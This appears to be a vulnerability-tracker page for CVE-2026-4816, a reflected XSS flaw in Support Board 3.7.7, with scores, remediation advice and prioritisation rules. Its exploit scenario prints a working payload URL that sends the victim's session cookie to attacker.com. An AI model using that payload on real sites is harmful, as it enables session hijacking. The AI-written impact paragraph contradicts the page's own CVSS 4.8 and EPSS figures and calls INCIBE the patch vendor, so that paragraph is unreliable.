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Support Board CVE-2026-4816

| EUVDEUVD-2026-15417 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-25 INCIBE GHSA-r9fv-65q7-7m5c
4.8
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While no CVSS score or EPSS value has been published for CVE-2026-4816, the vulnerability exhibits characteristics typical of high-severity XSS flaws: the attack vector is network-based (reflected XSS via URL parameter), attack complexity is low (simple URL manipulation), and no privileges are required. The absence of a published CVSS or EPSS score suggests either limited community assessment or delay in official scoring. However, the presence of a vendor patch from INCIBE indicates the vulnerability is credible and worth prioritizing. Reflected XSS vulnerabilities are highly automatable, allow full session hijacking, and can enable persistent compromise if combined with stored data exfiltration. Real-world risk is moderate-to-high depending on deployment scope and whether Support Board instances are internet-facing or internal-only. This is not a low-real-risk issue; it warrants immediate patching.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as 'https://target.com/supportboard/include/articles.php?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it to a Support Board user via email or social engineering. When the victim clicks the link while authenticated, the unvalidated 'search' parameter is reflected into the HTML page without encoding, causing the JavaScript to execute in the victim's browser. The attacker's script silently exfiltrates the victim's session cookie to an attacker-controlled server, enabling full account takeover. This attack requires no special technical complexity and succeeds against any victim who clicks the link.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 25, 2026

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Support Board v3.7.7 that allows unauthenticated attackers to inject malicious JavaScript code via the 'search' parameter in the '/supportboard/include/articles.php' endpoint. Successful exploitation enables attackers to steal session cookies, perform unauthorized actions on behalf of victims, or harvest sensitive user data through victim browsers. A vendor patch is available, and the vulnerability has been officially reported by INCIBE, indicating moderate real-world attention.

RemediationAI

Upgrade Support Board to the patched version released by Schiocco as detailed in the INCIBE advisory (https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-support-board-schiocco). As an interim mitigation prior to patching, implement Web Application Firewall (WAF) rules to block requests containing suspicious JavaScript payloads in the 'search' parameter, restrict access to the /supportboard/include/articles.php endpoint to authenticated users only via authentication proxy, and deploy Content Security Policy (CSP) headers to prevent inline script execution. Monitor application logs for suspicious 'search' parameter values containing script tags or event handlers, and consider disabling the article search feature entirely until patching is completed.

Affected VersionsENISA

Support Board 0 ≤3.7.7

Affected Packages

euvd support_board no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic reflected XSS flaw. The affected component is Support Board by Schiocco (CPE: cpe:2.3:a:schiocco:support_board:*:*:*:*:*:*:*:*), a PHP-based support ticketing system. The vulnerability specifically exists in the articles.php include file, which processes the 'search' parameter without proper input validation or output encoding. This allows attackers to reflect unsanitized user input directly into the HTML response, where a victim's browser interprets and executes it as legitimate JavaScript within the context of the Support Board application domain.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 25, 2026 - 14:00 nvd
Patch available
CVE Published
Mar 25, 2026 - 13:31 nvd
MEDIUM 4.8

DescriptionCVE.org

A Reflected Cross Site Scripting (XSS) vulnerability has been found in Support Board v3.7.7. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending the victim a malicious URL using the 'search' parameter in '/supportboard/include/articles.php'. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user.

Executive ViewAI

Why It Matters

Organizations using Support Board should be aware of moderate risk from CVE-2026-4816, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. A patch is available and should be applied during regular vulnerability management.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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